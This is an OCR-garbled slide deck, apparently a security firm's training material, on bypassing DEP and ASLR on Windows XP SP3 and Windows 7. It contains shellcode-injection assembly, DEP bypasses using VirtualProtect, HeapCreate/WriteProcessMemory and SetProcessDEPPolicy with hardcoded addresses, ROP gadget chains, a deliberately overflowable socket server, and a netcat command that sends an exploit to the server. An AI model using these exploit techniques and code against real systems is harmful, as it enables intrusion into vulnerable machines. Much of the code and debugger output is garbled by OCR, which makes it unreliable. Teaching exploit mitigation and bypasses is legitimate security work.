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DEFEATING DEP AND ASLR IN WINDOWS
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DATA EXECUTION PREVENTION (DEP) IS A SET OF HARDWARE AND SOFTWARE TECHNOLOGIES

[T PERFORMS ADDITIONAL CHECKS ON MEMORY TO HELP PREVENT MALICIOUS CODE FROM RUNNING ON A
SYSTEM
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HARDWARE-ENFORCED DEP CAUSES AN ATTEMPT TO TRANSFER CONTROL TO AN.INSTRUCTION IN A
MEMORY PAGE MARKED AS “NO EXECUTE" TO GENERATE AN ACCESS FAULT.

RELIES ON PROCESSOR HARDWARE TO MARK MEMORY WITH AN ATTRIBUTE THAT INDICATES THAT CODE
SHOULD NOT BE EXECUTED FROM THAT MEMORY REGION

DEP FUNCTIONS ON A PER-VIRTUAL MEMORY PAGE BASIS, USUALLY CHANGING A BIT IN THE PAGE TABLE
ENTRY (PTE) TO MARK THE MEMORY PAGE

THE ACTUAL HARDWARE IMPLEMENTATION OF DEP AND MARKING OF THE VIRTUAL MEMORY PAGE VARIES BY
PROCESSOR ARCHITECTURE:

THE NO-EXECUTE PAGE-PROTECTION (NX) PROCESSOR FEATURE AS DEFINED BY AMD
THE EXECUTE DISABLE BIT (XD) FEATURE AS DEFINED BY INTEL.

TO USE THESE PROCESSOR FEATURES, THE PROCESSOR MUST BE RUNNING IN PHYSICAL ADDRESS EXTENSION
(PAE) MODE.

WINDOWS WILL AUTOMATICALLY ENABLE PAE MODE TO SUPPORT DEP.
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= . For Business For Home Products Support About Intel
(lntel)

IT Center Developer Center Partners Technology

Home = Technology @ Product Technologies » Business »
Technology Execute Disable Bit

Terhnologies Execute Disable Bit and Enterprise Security

Maobility
Business The challenge

Graphics Malicious buffer overflow attacks pose a significant security threat to businesses, increasing IT
Chipsets resource demands, and in some cases destroving digital assets. In a typical attack, a malicious

worm creates a flood of code that overwhelms the processor, allowing the worm to propagate
/O & Accelerators itzelf to the netwark, and to other computers. These attacks cost businesses precious productivity
Foa time, which can equal significant financial loss.

The solution

Intel's Execute Disable Bit! functionality can help prevent certain classes of malicious buffer
overflow attacks when combined with a supporting operating system.

Execute Disable Bit allows the processor to classify areas in memory by where application code
can execute and where it cannot. When a malicious worm attempts to insert code in the buffer,
the processor disables code execution, preventing damage and worm propagation.

Replacing older computers with Execute Disable Bit-enabled systems can halt worm attacks,
reducing the need for virus-related repairs. In addition, Execute Disable Bit may eliminate the
need for software patches aimed at buffer overflow attacks. By combining Execute Disable Bit
with anti-virus, firewall, spyware removal, e-mail filtering software, and other network security
measures, IT managers can free IT resources for other initiatives.
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AMD Developer Central

AMDQD

Tools

AMD APP KernelAnalyzer
AMD APP Fower Toys
AMD APP Profiler

AMD CodeAnalyst
Perfarmance Analyzer

AMD gDEBugger
AMD SimMow™

Advanced Platform
WManagement Link (APML)

Code Faster. Faster Code.

Tools SDKs Libraries Samples & Demos Docs Zones Gommunity Support

Security Ahoy! Flying the NX Flag on Windows and AMD64 To Stop Attacks

Home

Are you worried about software security? A little-known feature of the AMDG4 architecture, called the
MX flag, can help you write code thats better protected against attacks like buffer overflows and
executable injection. Alan Zeichick explains how NX works_

Alan Zeichick 372042007

As The MX processor flag, found in the AMD Opteron™ and Athlon™ 64 processors, is a key feature
of Microsoft's Data Execution Protection (DEP) infrastructure; AMD also refers to MX as Enhanced
Virus Protection (EVP). But no matter what you call it, NX is a technology that you can leverage
today with Windows and Linux.
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SOFTWARE-ENFORCED DEP RUNS ON ANY PROCESSOR THAT CAN RUN WINDOWS XP SP2

BY DEFAULT, SOFTWARE-ENFORCED DEP HELPS PROTECT ONLY LIMITED SYSTEM BINARIES, REGARDLESS OF
THE HARDWARE-ENFORCED DEP CAPABILITIES OF THE PROCESSOR

IT PROTECTS ONLY USER-MODE PROCESSES.
IT MUST BE SUPPORTED BY THE OPERATING SYSTEM.

SOFTWARE-ENFORCED DEP:DOES NOT PROTECT FROM EXECUTION OF CODE. IN. DATA PAGES BUT INSTEAD
FROM ANOTHER TYPE OF ATTACK WHICH 1S CALLED SECURITY EXCEPTION HANDLING (SEH) OVERWRITE
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/NOEXECUTE= OPTIN TURN ON DEP FOR NECESSARY WINDOWS PROGRAMS AND SERVICES ONLY
/NOEXECUTE= OPTOUT TURN ON DEP FOR ALL PROGRAMS AND SERVICES EXCEPT FOR THOSE THAT | SELECT
/NOEXECUTE= ALWAYSON PERMANENTLY ENABLES DEP

/NOEXECUTE= ALWAYSOFF PERMANENTLY DISABLES DEP

THE DEFAULT SETTING ON WINDOWS XP SP2 1S OPTIN, WHILE THE DEFAULT SETTING ON WINDOWS 2003 SERVER
SP1 1S OPTOUT
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THE PAX PROJECT FIRST COINED THE TERM "ASLR". IMPLEMENTATIONS OF ASLR IN JULY; 2001.

EXPLOITS ATTACKS RELY ON PROGRAMMER SKILLS TO IDENTIFY WHERE SPECIFIC PROCESSES OR SYSTEM
FUNCTIONS LIVE IN. MEMORY

I[N ORDER FOR AN ATTACKER TO LEVERAGE A FUNCTION, HE MUST FIRST BE ABLE TO TELL THE CODE WHERE TO
FIND THE FUNCTION

BEFORE ASLR IMPLEMENTATION MEMORY LOCATIONS WERE EASILY DISCOVERED BY ATTACKERS AND MALWARE
CODE

ASLR (ADDRESS SPACE LAYOUT RANDOMIZATION) INVOLVES RANDOMLY POSITIONING MEMORY AREAS, USUALLY
THE BASE ADDRESS OF THE BINARY FILE AND POSITION OF LIBRARIES, HEAP AND STACK

WITHOUT ASLR, A LIBRARY WILL ALWAYS GOING TO BE LOADED AT A PREDICTABLE ADDRESS AND CAN BE
LEVERAGE BY AN EXPLOIT

BYPASSING ASLR MEANS TARGETING NON-ASLR LIBRARIES TO BUILD A RELIABLE EXPLOIT
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IT Security & Network Security News

Microsoft Security Tool Mitigates Adobe Zero-Day
Vulnerability

By: Brian Prince
2010-09-11 m f 48
Article Rating: XXX LT / 5 tweets

B9 share This Article m Share

There are 3 user comments on this IT Security & Network Security News &
Reviews story.

Microsoft and Adobe Systems say Microsoft's Enhanced Mitigation
Experience Toolkit 2.0 can help protect users against attackers targeting a
bug in Adobe Reader and Acrobat.

Adobe Reader and Acrobat users on Rate This Article:
Windows machines now have a potential

shield available to protect them from poor 0 O O @ gy
attackers targeting a zero-day vulnerability. Rate |

Microsoft and Adobe Systems announced .
Sept. 10 that the latest edition of Microsoft's E-mail
Enhanced Mitigation Experience Toolkit can @ Print
be used to block attacks. The announcement

followed reports that an exploit currently in

the wild can bypass Microsoft's data execution prevention feature using a
technigue known as ROP (return-oriented programming).

& PDF Wersion

"Normally Address Space Layout Randomization (ASLR) would help prevent
successful exploitation,” said a post on Microsoft's Security Research &
Defense blog. "However, this product ships with a DLL (icucnv3a.dll) that
doesn't have ASLR turned on. Without ASLR, this DLL is always going to be
loaded at a predictable address and can be leverage by an exploit.”

EMET 2.0 blocks the exploit by deploying mandatory ASLR as well as export
address table access filtering, Microsoft said.
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[section .text]

Jtart:

XOL 8CX, 8CK : Set counter to zero
THE ROUTINE mov ecx, Dudd : Shallends size

INJECT_SHELLCODE_IN_STACK PUSH THE mav eax, shellcode : Eax point to start of shellcode
PAYLOAD INTO THE STACK
.inject _shellcode in stack:
ONCE THE SHELLCODE HAS BEEN cap ecx, 0x0 ; Is the shellcode injected in the stack?
INJECTED THE CODE JUMPS TO THE je .execute ; If Yes execute it
EXECUTE ROUTINE push dword [eax+eck] ¢+ Fush nexc dword
aub ecx,4 ; Decrement counter
THE CALL ESP INSTRUCTION FETCH THE Jop .inject shellcode in stack ; Loop uncil eck = 0
BEGINNING OF THE SHELLCODE

.execute:
call esp ; Execute shellcode from stack

[saction .data)
shelleode db  0x90,0%30,0x90, 0x%0, Oxfc, Oxed, 0xB9, 0200, 0x00, 0x00, 0x60, On8Y, dxes5,

 E—
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SINCE THE PAGE 0X0022E000 - SIZE
00002000 HAS ONLY READ AND WRITE
ATTRIBUTES AN ACCESS VIOLATION IS
TRIGGERED AT THE ADDRESS
0X0022FEB4

DEP HAS
SHELLCODE
STACK

SUCCESSFULLY STOP
EXECUTION = FROM  THE
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0OllyDbg - WinExec_exemple.exe - [CPU - main thread, module WinExec_exemple]
@ Fle Wew Debug Trace Options SWindows Help

Bl x| »|+[1] ui s

4 4]0 u[em]wx]c

abe

20401000
2040108082
20401007
401 A848C

AA4019823
A03401 0826

AR4R208CcH

31C9
BY D40AaceA
BE AB204000

> B1F9 BPRERAG
74 18

aB
kit
E2
ca
49
18
a1
a9
12
6F
ic
53

FF1408
81E? 4000088
E? EAFFFFFF

B|M|H

ROR ECR,ECH

MOU ECR,8D4

MOU EAR.OFFSET B8402008
CMP ECK.8

JE SHORT B@481024
PUSH DWORD PTR DS: [ECK+EAN ]
SUB ECK,4

JMP B848100C

NOP

NOP

CALL ESP

DB FF

DB FF

DB FF

DB FF

DB @@

DB @@

DB 68

DB @8

DB FF

DB FF

DB FF

52
7C

14
az
42
18
31
D
i€
LA
BY
56
a5
65

4 |Registers (FPU)
WinExec_exemple . B8
ARARBARR
AR4A18A8 WinExec_exemple . <
PFFD7800

Aa22FF?4
ARAARAAA
AAAARRAA

WinExec_exenple . A8

32hit B(FFFFFFFF)
32hit @(FFFFFFFF)
32hit B(FFFFFFFF)
DS 8823 32hit B(FFFFFFFF)
FS B@3B 32bhit YFFDFAAA(FFH
GS 8888 NULL

ES 0823
CS @a1B
5§ @23

(=R Bl o = - R

LastErp
EFL 0A0008246

STA empty 8.8
BB22FEBG [oulilbaciye
B822FERC || 89600000
BB22FECH || 64D231E5
AR22FEC4 || 8B3A528B
AR22FECS || 528BACS2
BB22FECC || 28728B14
@822FED@ || 264AB7@F
@822FED4 || CA31FF31
BB22FEDS || 7C613CAC
BB22FEDC || C1202C02 (@
AR22FEEA || C?781ADCF
BA22FEE4 || 5752F@E2 | @
BB22FEES || 8B10528B (3
EBZ2FEEC Da@13Cc42

Orandoonl @o

ABRBEAee ERROR_SUQ
(NO,NB,E,.BE,NS.PE,

ASGIT -
EEEE*PE
iRATR2IR
1 1gal
0-RUiRki
Lt JESPiH
[14i811
Souiw3°;
EEFfIPKIR
EDS5 LAY
tﬁﬁ}j@ié{
o¢ 1y-Ad
B|<#iFL0u

3pE
T

- -E
01Ed
iRAi
R2iR

Pccess wiolation when wiiting to [0022FEE4] - Shift+Run/Step to pazs exception to the program|
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WHEN HARDWARE DEP IS ENABLED, WE ARE NOT ABLE TO JUMP.TO:OUR SHELLCODE ON THE STACK, BECAUSE
THIS ONE WILL NOT BE EXECUTED. AN ACCESS VIOLATION WILL TERMINATE THE PROCESS. (SLIDE 10)

DIFFERENT TECHNIQUES ARE AVAILABLE TO ACCOMPLISH THIS TASK
DEP CAN BE DISABLED IF THE LATER IS RUNNING IN OPTIN OR OPTOUT MODE

ANOTHER APPROACH IS:TO CALL API FUNCTIONS THAT ARE ABLE TO CHANGE THE MEMORY ATTRIBUTES
(PAGE_READ_EXECUTE) FROM WHERE THE PAYLOAD LIVES

SOME OF THE TECHNIQUES ARE INTRODUCED IN THE NEXT SLIDES
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LPVOID WINAPI Virtualalloc(
__in_opt LPVOID lpAddress,

in SIZE_T dwsize,

in DWORD flAallocationType,

in DWORD flProtect

|H

WE CAN CREATE A NEW"MEMORY REGION WITH EXECUTABLE ATTRIBUTES

WE THEN COPY OUR SHELLCODE TO THIS MEMORY REGION (WRITEPROCESSMEMORY OR MEMCPY API’S)

THIS TECHNIQUE NEEDS AT LEAST THE USE OF TWO DIFFERENT API'’S
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WINAPI HeapCreate(
DWORD flOptions,
SIZE_T dwInitialsize,
SIZE_T dwMaximumSize

COMPARABLE TO VIRTUALALLOC()
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BOOL WINAPI SetProcessDEPPolicy(
__in DWORD dwFlags

)i

THIS ALLOWS TO DISABLE THE DEP POLICY FOR THE CURRENT PROCESS

IT WILL WORK FOR VISTA SP1, XP SP3, SERVER 2008, AND ONLY WHEN DEP POLICY IS SET TO OPTIN OR OPTOUT
MODES
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BOOL WINAPI VirtualProtect(

in  LPVOID lpAddress,

in  SIZE_T dwsize,

__in  DWORD flNewProtect,
PDWORD lpflOoldProtect

}H

THIS FUNCTION WILL CHANGE THE ACCESS PROTECTION LEVEL OF A GIVEN MEMORY PAGE

IT WILL ALLOW TO MARK THE LOCATION WHERE OUR SHELLCODE LIVES AS PAGE_READ_EXECUTE
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BOOL WINAPI WriteProcessMemory(
__in  HANDLE hProcess,
in  LPVDID lpBaseAddress,
in  LPCVOID lpBuffer,
in  SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten

|H

THIS TECHNIQUE WILL PERMIT US TO COPY THE SHELLCODE TO:A MEMORY REGION WITH EXECUTE ATTRIBUTES
LATER WE CAN JUMP TO IT

THE TARGET LOCATION MUST BE WRITABLE AND EXECUTABLE
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VISTA SPO VISTASP1T WINDOWS 7 WINDOWS 2003 5P1 WINDOWS 2008
VirtualAlloc

SetProcessDEPPolicy

NtSetinformationProcess

VirtualProtect

WriteProcessMemaory

(1} =doesn't exist
{2) = will fail because of default DEP Policy settings

Thanks to Corelan.he for this awesome information
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;Erian Mariani High-Tech Bridge

;Finding Eernel3Z.dll base address

;Index to VirtualProtect

;Tissbling NonExecute attributes

;in actual thread memory stack

;Injecting the payload in the

;stack and execute it

;Tested in Windows XP SP3 DEP

shlwayson & Windows 7 Enterprise DEP AlwaysCN
:Thanks to http://fopelde. tuxfamily.orgd ?p=430

THE PRESENT LODE WILL ;for Kernel generic searcl

FIRST FIND KERNEL32.DLL

BASE IMAGE ADDRESS IN A section .text = hesh A
GENERIC WAY global _WinMainB1e iy

add edi, e=u
TinMainfile: Jrop hashing

THEN . IT WILL FIND @ THE U hesh done: @ en:
OFFSET OF VIRTUALPROTECT Theress kerneldz: e F i S =]

dnz find_ fune_address_loop

API AND ADD IT TO THE BASE Hor sex, =cx moy ebx, [mdx + 0Zdh] DEP bypassed! :]

mov esi, [f=:ecx + 30h] add ebx, ebp
ADDRESS wow esi, [esi + Och) mow cx, [ehx + 2 ¥ ecx]
wov esi, [esi + ich] mov ebx, [edx + Olch]

add ebx, ebp
search another module: mow eax, [ebx + 4 T ecx]

LATER THE CODE WILL FIND eox, [esi + DSh] add ==, =hp
THE CURRENT BOTTOM OF =i, fesi ¢ 20n) eV fese n henT. sex

esi, [esi] Tfind_saddress_done:
STACK AND CALCULATE THE [eai + 12 = 2], el popad B
SIZE OF IT search_another module ret

ep_:
wov eax, [FS:0x20]
function address: xor eax, eax

VIRTUALPROTECT APl IS Pronea S oo
CALLED TO CHANGE THE wov ebp, [esp + 024h] e shpe mEp

wov es®, [ebbp + 03ch] call whereis_kernel3z

CURRENT  MEMORY  STACK S e eyt
ATTRIBUTES TO add edx, ebp push 07S946cslkh

BeCx, edx + 018h push edx
PAGE_EXECUTE_READWRITE e e e P e som_maar s

.inject shelleode in stack:
add ebx, ebp wov [shp+4d], =ax _ A

crp ecx,0x0 ; Is the shellcode injected in the stack?
mov esi, [fs:0x08]

A SHELLCODE WILL BE find func_sddress loop: pusn 0xz0 je .EXerute ¢ If Tes execute it
IN] ECTED IN THE STACK AND jecxe find_address_done li:hez;;[espl push dword [eax+ecx] ; Push next dword

B dec eox Eush Oxean sub ecx, 4 + Decrement zounter
GET EXECUTED AFTER THE wov esi, [ebx + eocx ¢ 4] jmp .inject_shellcode in stack ; Loop until ecx = 0
RETN 10 INSTRUCTION FROM sdd esi, ebp mov shx, [£3:0x08]

VIRTUALPROTECT API Api hesh: e

®xor edi, h i -
push edi .
®or esx, sk oo iint 3
cld call eax call esp ;Execute the payload from stack

LEXECULE!

xOr ecx,ecx

hashing: xor eo,eax [section .data)
lodsh mov =ox, 0x118 shelleode dh 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, Oxd3,

cest al, mow sax,shelloode
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HEAPCREATE

A NEW HEAP OF 296 BYTES IS
CREATED WITH
PAGE_READ_EXECUTE
ATTRIBUTES.

THE HEAP BASE  ADDRESS
RETURNED IN EAX 1S THEN
PASSED TO
WRITEPROCESSMEMORY

THE FINAL RET INSTRUCTION
EXECUTE THE SHELLCODE FROM
THE NEW HEAP

JHANDLE WINAPI HeapCreatef
; in DWORD floptions,

H in 3IZE_T dwlnitial3ize,

; in 3IZE_T dwlaximum3ize

; BOOL WINAPI WriteProcessMewmory(
in  HANDLE hProcess,
in  LPVOID lpBaselddress,
in  LPCWOID lpBuffer,
BIZE T niize,
SIIE T *lplumberOfBytesiiritten

gection .text
global WinMainfis

_UinMain@i6:

push Ox12§
push Ox0
push Ox00040000

mov eax, Ox7CE12C56

call
push

wov  esi,shellcode |

wov  edi,written
push edi

push 0Ox12§

push esi

push eax

push Oxffffffff

wov eax, Ox7CE02213

call eax
ret

[gection .data]
shellecode

dh
written dh

; dullaximum3ize
; dulnitialidize
; floptions

HeapCreate harcoded P 5P3

ezl points to shellcode

; edi points to he written

; PUSH lpNurberOfBytesiiritten
; PUSH Zize

; PUSH lpBuffer

; PUSH lpBaselddress

; PUSH hProcess

WriteProcesstemory harcoded EP SP3

0x90,0xd9, 0xeb, 0x%h, 0xd9, 0x74, 0x24, 0x£4, 0x31, Oxd2,
Ox00 — »
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Daka Prevention Execution bypassed! 1]
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;Teated in Windows XP 3P3 ENGLISH & FRENCH DEF ACTIVATED. ?38841Eﬂ| 99

DIEB FLDPI
; BOOL TINAPI WriteProcessMewory| 9B WAIT
i in HAMDLE hProcess, DO742Y F4 FSTENU SS:[ESP-BC]
;in LPVOID lpBassiddress, 3102 XOR ED¥,EDX
:m LECVOID lpButfer, B2 77 HoU DL,77

THE SHELLCODE IS COPIED i 3C9 %0R ECX,ECK
& - ;o _n SLE T ndice, 6428871 30 HOU ESI,DWORD PTR FS:[ECK+38]

8876 OC MOU ESI,DWORD PTR DS:[ESI+OC]

TO A KERNEL32.DLL MEMORY : _out 3IZE T *lpunberOfByteslritten

ADDRESS WHICH THE 8876 1C MOU ESI,DWORD PTR DS:[ESI+1C]

MEMORY ATTRIBUTES ARE wov esi;shelleode ; esipoints to shelleode 8BL4G BY HMOU EAX,DWORD PTR DS:[ESI+8]
READ AND EXECUTE wov edi written ;o oedi points to be written 8B7E 28 MOU EDI,DWORD PTR DS:[ESI+28]

mush edi ; PUSH 1ptmherOffytealritten 8836 ESI,DWORD PTR DS:[ESI] ﬂ
push 0x128 : PUSH Size 384F 18 BYTE PTR DS:[EDI+18],CL g
THE EXAMPLE 1S USING A push esi  FUEA Ipfuffer SHORT Kerneld?.7C884202

Data Prevention Execution bypassed! 1]

MEMORY HARCODED oy nercemarzn 5 piss ipheseidiress ECH

ADDRESS IN WINDOWS  XP oy nussesere  : Fisd nprocess e EOR
SP3  WHICH DOES NOT PUSHAD
CONTAIN  ANY  RELEVANT 8B6C2Y4 24 HMOU EBP,DUORD PTR $S:[ESP+24]
CODE wov eax, 0x7C802213 ; UriteProcessllemory Windows IP 5P3 70884219 8BAS 3C MOV EAX,DWORD PTR SS:[EBP+3C]
call eax
IT 1S IMPORTANT TO CHOOSE ov eax, 0x7C8341EL ; Windows XF 3P3 address belons to & R E wewory page.
THE CORRECT MEMORY » It does not contain any relevant code
ADDRESS, OTHERWISE THE “*

SYSTEM COULD CRASH AFTER [section .data]

COPYING THE SHELLCODE shellcode  db  Dyal, Dxdd, Oxeh, Ox3b, Ducld, D74, 0324, OxF4, 0x31, vz, Dxhz, 077,
written db 000 g
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TO TAKE ADVANTAGE OF RETURN TO LIBC TECHNIQUE WE NEED TO OVERWRITE THE RETURN ADDRESS WITH A
FUNCTION ADDRESS FOR L.E. WINEXEC OR SYSTEM

WE MUST PROVIDE THE CORRECT ARGUMENTS FOR THE FUNCTION-IN ORDER TO EXECUTE IT. PROPERLY
WE DO NOT EXECUTE CODE:IN THE STACK, BUT IN THE MEMORY. PAGE WHERE THE NATIVE FUNCTION LIVES
SOME OF THE BENEFITS ARE:

WE CAN EXECUTED A CODE WITH SMALL BUFFER

WE DO NOT NEED TO INJECT CODE

#R401011 402, ~CALL to from system.dB40100F
HA22FFi4 BA40828848 . P. | CmdLine = "calc.exe"
AR22FFE8 | AAAABAAR | . ... LShowState = SW HIDE
HAZZFFAG | 60601194 o+|p  RETURN to kernel32.V6CC1194
B822FF?8 7FFD908@  .E*a
B822FF?4 ~BA22ZFFD4 E .
BA22FF98 | 77ACB429 >{%uw RETURN to ntdll.77ACB42%
BA22FF?C || PFFD?88H | .EZa
Aa22FFAA || 73FS5DDCE  w i Es
H822FFA4 | BABAAAAA | . ...
BE22FFAB | BOBBA0BEAE . . ..
BA22FFAC | ?FFD?88H | .E2a
AR22FFBA | BAAAAARA | . . ..
HA22FFB4 | BABAAAAA | . ...
AR22FFBE | BARARAGA
BA22FFBC | BA2ZFFAA
AR22FFCA | BARABABA
#822FFC4 | FFFFFFFF End of SEH chain
AR22FFC8 | 77A8D555 Utéiw SE handler
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AS A REPLACEMENT FOR RETURNING TO FUNCTIONS WE RETURN-TO INSTRUCTIONS CALLED ‘GADGETS" IN
EXECUTABLE MEMORY PAGES

IT IS POSSIBLE TO RETURN IN THE MIDDLE OF INSTRUCTIONS TO CREATE NEW INSTRUCTIONS

THE RET INSTRUCTION WILL FETCH MEMORY ADDRESSES FROM THE STACK IN ORDER TO PREPARE IT TO
SUCCESSFULLY CALL AN API FUNCTION

PYTHON LIBRARIES LIKE DEPLIB FROM PABLO SOLE OR PVEFINDADDR FROM CORELAN.BE PERMIT US TO QUICKLY
FIND ROP GADGETS FROM NON-ASLR LIBRARIES

MOU ECA.C3R4B8C2
NOF
INT 3

0401003
088401004
8401805
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WE ARE GOING TO EXPLOIT A SERVER APPLICATION IN WINDOWS XP SP3 UP TO DATE, RUNNING DEP IN
MODE /NOEXECUTE=OPTOUT

THE GOAL IS TO. CREATE THE EXPLOIT USING NON-ALSR MODULES IN.ORDER TO -BYPASS RANDOMIZATION

THE APPLICATION WAS COMPILED WITH VISUAL STUDIO 10 WITH. NX COMPAT AND DYNAMICBASE FLAGS

#include <stdio.h>

while [Incomingconnection -= SOCEET EREROR)
#include <winsock:. h> -

{
void Analyse huffer (char *str) Incomingoonnection = aceept (wm_socket, NULL, NULL):
- i
1
printf"Here wulnerahle method!in®) : printf ("Client is now Connected!\n™) :
char buffer[200] ; m_socket = Incowingoonnection:
stropy (buffer, str) - Overflow */ break:
i

int main()

‘ int receivedbytes = SOCKET_ERROR;
char recvhuf[300]:
int wsaerror:
TORD wWersionRequested: receivedbytes = recv(m_socket, recvbuf, 300, 0):
WSADATRE wsaData:

wWersionRequested = MAKEWORD (2, Z); Analyze_buffer (recvihuf): /¢ Transfer control to Analvse buffer Ffunction */7
wsaerror = WIAStartup (wWersionReguested, &fwsalata)
return 0:
SOCKET m_socket:
m_socket = socket (AF_INET, SOCE_STREAM, IPPROTO TCP) ; '

if (m_socket == INVALID_SCCKET)

printf ("Error at : %1ldin"™, W3AGetlastError(]):
WIAC leanup ()
return 0:

printf("Socket is working f£ine :]!'Wn™):
¥

SOCKADDR_IN service;
service.sin_family = AF_INET:
service.sin addr.s addr = inet addr("152.165.1.36");
Service.sin port = htons(44dd);
bind(m_socket, (SOCKADDRY®) sservice, sizeof (service)):
printf("Server is binded :15n":
listenim_socket, 10]:
printf ("Listening... :]%n"):

SOCEET Incomingoonnection?
while (1)
1
Incomingoconnection = SOCKET _ERROR:
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1] [[TT—T] [T
ROP WINDOWS XP SP3 (2) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

WHEN WE TRY TO EXPLOIT THE APPLICATION WITH A SIMPLE <EVIL BUFFER> + <CALL ESP> <NOP> <SHELLCODE>
TECHNIQUE IT THROWS AN STATUS_ACCESS_VIOLATION (0xXC0000005)

DEP IS SUCESSFULLY PREVENTING CODE EXECUTION FROM THE ACTUAL THREAD. STACK

¢+ Console - YulnerableServe

C:hWulnerableServeryisualVulnerableServeryisual. chDebugsVulnerableServervisual.c.exe
socket is working fine ]! i immanity: ConsurtmgSemcesMana
Server is binded :] %OR ECH . ECL

Listening... :] 51 PUSH ECR EAX BA13FC38

1 T [ ted!
He;:nvuﬁep?ﬁ = method! 68 63616C63 Pﬂgu 6366163 ECX @@13FD5C UNICODE "hleServerVisual\WulnerahleServer

ESP " g
BS GD25867C  HOU EA¥.kerneli2.\fill on 29618072 UNICODE “iindNane
FFDA EAS

68 FFFFFFFF PUSH -1

a i : a 5C POP ESP
e - A—

66:04 24 ADD AL, 24 EDI 86670067
B8 12CB§17C MOU En¥. kernell?.FqgeEIF B813FB6C
FFDA Eng

C @ ES BA23 32hit B(FFFFFFFF)
it @CFFFFFFFF>

ACFFFFFFFF>

B(FFFFFFFF)

'?CB%RII’I

6851C931
00416015 63606163
Ap416010
Ap416620 256DB854
Ap416030 DBFF?C86
Ap416040 FFFFFF68
Ap416050 66785CFF
Ap4160B60 2] B324@8466 43 : )
o+ Console - nc 192.168.1.36 Ap416070 a ;ggéggll?% kernel32.ExitProcess
Ap416080 B

28789898
Chanc 192,168.1.36 4444 ¢ exploit_not_func.txt gggiggz; ﬂ gg 28787098

90989098 EEEE

Prévention de I'exécution des données - Microsol

Mo ¢ Yulnerableserver¥isual.c

CCess V101atlon when executing
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WINDOWS XP SP3 (3) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

TO GET AROUND THIS PROTECTION WE WILLIMPLEMENT THE ROP TECHNIQUE

THE FIRST STEP 1S TO KNOW WHICH MODULES ARE LOADED IN MEMORY WHEN THE VULNERABLE APPLICATION
RUNS. THE OBJECTIVE IS TO USE NON-RELOCATABLE MODULES, SO WE CAN BYPASS MEMORY RANDOMIZATION

WE ARE GOING TO USE PYTHON SCRIPT !PVEFINDADDR FROM CORELAN.BE

FOR THIS PARTICULAR EXPLOIT DEVELOPMENT WE HAVE 8 NON-ASLR MODULES TO SEARCH FOR ROP GADGETS,
THIS IS PRETTY ENOUGH TO CREATE OUR EXPLOIT

ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
AEADFAAD
ABADFAAD
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WINDOWS XP SP3 (4) HiIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

THE NEXT STEP IS TO CREATE OUR ROP GADGETS

THE “/PVEFINDADDR ROP” COMMAND WILL CREATE A LIST OF ALL AVAILABLE GADGETS FROM THE NON-ASLR
MODULES

I3 pvefindaddr ROP Stack Pivot

Address Of fset ~Register Instruction
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WINDOWS XP SP3 (9) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

WE CAN NOW START TO USE OUR ROP GADGETS TO DEACTIVATE DATA PROTECTION EXECUTION

WE ARE GOING TO USE THE SETPROCESSDEPPOLICY TECHNIQUE WITH THE FLAG 0, WHICH MEANS DISABLE DEP

FOR THE CURRENT PROCESS

AFTER SEARCHING THE CORRECT ROP GADGETS FROM THE PREVIOUS LIST OUR EXPLOIT IS FINALLY CREATED

LET'S TRACE IT IN OUR DEBUGGER

print "™y xF3NHZShHOE\ 71T "M FFA\RFFY xFFYRFF" . ™ixeFhx10 131 70",

L HEE 1V HOE T L My HBFLKTEVHIF T . Mix0T kIS K95 1T
LI N KB HAE kA3 KA1 xACh X A3 x5 wES w0 w2 HE A ¥ HFFY u DO w68 K £ LY N D LD ML\ wE D w0 w2 4 xhEh

12 ek 81 kTt wE L wd 0 k90" LM k30" w145 L My DS HSEY XBELY HTT

Ox77BESEDE : # HCHG ELX,ESP # RETN

Ox719EZ5F3 : # FPOF EBX # RETN

Ox7C8L1106F
Ox719EZ2528 :

Ox719F3507
T19FVEEF

Ox719F13FF :
T19FVEEF

Ox77ESD102 : # PUSHAD # RETN

[Module :

[Module :

[Module :
[Module :

[Module :
[Module :

[Module :
[Module :

Y RBFYRTEVHOFY LT . "y x02h kAl xesh 17T

M2 IV HOEVKTLT, M xldh 122 k86, xTC

msvert.dll]

W3IZHELFP.dll]

KERMNEL3Z .dll]
WIZHELF.d11]
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PRACTICAL EXAMPLE IN

. WHEN THE BUFFER OVERFLOW OCCURS WE NEED FIRST TO PIVOT OUR STACK TO REACH OUR CONTROLLED
BUFFER. THE XCHG EAX,;ESP INSTRUCTION PERMITS US TO POINT ESP TO 0X0013FB68 ADDRESS WHICH IS THE
BEGINNING OF OUR:CONTROLLED DATA IN THE STACK

ACHG EAX,ESP ~| Registers <FPU)
*/BELEDE G A1 3FB68

77BESED? Ans " werlis . ud
77BESEDS  64:72 1A SHORT msvert . ??BESEFS Superf luous prefix Do IEDos JNICODE [pleServerlisual\Uulnerableser

??BESEDE 79 3F SHORT mswcrt.??BESFLC JFFDABEE

?7?BESEDD 1F3DBBna 17BE?CA1 BB13FC3s

77BESEEZ B4 53 HOU AH,53 9RTRIATE

77BESEE4 SHORT mswcrt.?7BESFBF ES1 @@720865

7?7BESEE6 LES EDI.FWORD PTR DS:[EDI1] Modification of segment register ABL7A067

77BESEEB 34 4B RA0R AL,4B

e Kommr  alheng

24 cn AND AL.BCA 32hit B(FFFFFFFE)

7?BESEF4 B i
?7BESEF6  C43F LES EDI.FWORD PTR DS:[EDI] Modification of segment register ggg;g SEEEEEEEEE;

?7BESEF8 51 PUSH ECR i

77BESEF? 68 E6424320 PUSH 284342E6 gggig g;gEEgSSEE;F)
77BESEFE  2E:3D B@38@912 CHP EAX.12093808 Superf luous prefix NULL

77BESFA4 75 62 SHORT msucet.?7BESFGRE

7?7BESFBA6  C53F LDE EDI,FWORD PTR DS:[EDI] Modification of segment register stEpp A AR
77BESFBE 2D 17AABIEC SUE EAX.ECB3AA17 LastErr ERROR_SUCCESS <B00BOB00)
77EEGFOD DF3@ FESTP TBYTE PIR D&:[EAX] 98980202 (NO.NB.NE.A.NS.PO.GE.G)
